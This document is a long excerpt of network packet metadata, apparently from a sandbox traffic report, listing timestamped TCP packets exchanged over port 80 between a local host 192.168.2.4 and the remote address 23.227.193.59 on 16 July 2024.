Jul 16, 2024 22:29:49.749027014 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749062061 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749073982 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.749140978 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749176025 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749188900 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.749254942 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749300957 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.749304056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749336958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749368906 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749381065 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.749402046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749445915 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.749526024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749558926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749593019 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749604940 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.749625921 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749660015 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749670982 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.749866009 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749901056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749922991 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.749933004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749965906 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.749975920 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.749999046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.750041008 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.750207901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.750241041 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.750274897 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.750293016 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.750307083 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.750339985 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.750350952 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.750374079 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.750406027 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.750416040 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.750438929 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.750472069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.750484943 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.750504017 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.750538111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.750545025 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.750709057 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.750777006 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.750809908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.750823021 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.750843048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.750875950 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.750893116 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.750910044 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.750941992 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.750969887 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.750977039 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.751025915 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.832202911 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.832273960 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.832309961 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.832333088 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.832344055 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.832395077 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.832398891 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.832433939 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.832470894 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.832494020 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.832535028 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.832571030 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.832587957 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.832603931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.832639933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.832652092 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.832680941 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.832714081 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.832736015 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.832748890 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.832798958 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.832858086 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.832890034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.832923889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.832941055 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.833008051 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.833038092 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.833075047 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.833092928 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.833126068 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.833142996 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.833158970 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.833193064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.833206892 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.833226919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.833275080 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.833404064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.833621979 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.833655119 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.833667040 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.833689928 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.833724022 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.833739042 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.833756924 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.833789110 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.833800077 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.833822966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.833856106 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.833867073 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.833894014 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.833926916 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.833936930 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.833961010 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.834006071 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.834366083 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.834398985 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.834435940 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.834441900 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.834450960 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.834466934 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.834481955 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.834495068 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.834496975 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.834512949 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.834527969 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.834528923 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.834546089 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.834556103 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.834559917 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.834574938 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.834588051 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.834589958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.834606886 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.834620953 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.834649086 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.835414886 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.835432053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.835445881 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.835459948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.835478067 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.835481882 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.835496902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.835506916 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.835511923 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.835527897 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.835539103 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.835542917 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.835557938 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.835573912 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.835585117 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.835588932 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.835599899 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.835603952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.835618973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.835643053 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.835669994 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.836394072 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.836410046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.836424112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.836438894 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.836452961 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.836453915 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.836469889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.836488008 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.836494923 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.836509943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.836513996 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.836524010 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.836539030 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.836555958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.836559057 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.836570978 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.836585999 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.836585999 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.836601973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.836617947 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.836644888 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.837356091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.837373972 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.837388039 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.837403059 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.837419033 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.837419987 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.837438107 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.837445021 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.837455034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.837470055 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.837486029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.837496996 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.837502003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.837517977 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.837528944 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.837532997 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.837547064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.837553024 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.837591887 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.838323116 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.838340044 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.838352919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.838367939 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.838367939 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.838383913 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.838404894 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.838426113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.838442087 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.838450909 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.838459969 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.838475943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.838485956 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.838491917 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.838506937 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.838515997 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.838521957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.838538885 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.838546038 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.838555098 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.838577986 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.839210033 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.839225054 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.839240074 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.839251041 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.839256048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.839272022 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.839283943 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.839287996 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.839303017 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.839306116 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.839319944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.839344025 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.884756088 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.925865889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.925920963 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.925960064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.925976992 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.925993919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926028013 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926039934 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.926080942 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926115036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926129103 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.926148891 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926182032 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926196098 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.926214933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926248074 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926260948 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.926284075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926330090 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.926387072 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926419973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926451921 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926466942 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.926481962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926513910 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926527023 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.926549911 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926593065 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.926739931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926772118 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926804066 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926810980 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.926837921 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926871061 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926886082 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.926904917 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926938057 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.926951885 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.927241087 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.927274942 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.927289009 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.927326918 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.927361012 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.927372932 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.927395105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.927427053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.927440882 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.927460909 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.927494049 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.927509069 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.927529097 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.927560091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.927573919 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.927593946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.927629948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.927637100 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.928018093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.928050995 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.928066969 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.928102016 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.928134918 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.928153992 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.928167105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.928200006 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.928212881 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.928232908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.928265095 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.928280115 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.928298950 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.928330898 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.928345919 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.928364992 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.928396940 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.928412914 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.928431034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.928488016 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.928849936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.928884029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.928916931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.928932905 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.928968906 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.929002047 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.929018974 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.929034948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.929068089 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.929083109 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.929101944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.929133892 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.929147959 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.929166079 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.929199934 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.929214954 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.929233074 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.929265976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.929280043 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.929300070 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.929346085 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.929927111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.929960966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.929994106 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.930008888 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.930027008 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.930059910 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.930072069 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.930094004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.930125952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.930140972 CEST	49730	80	192.168.2.4	23.227.193.59
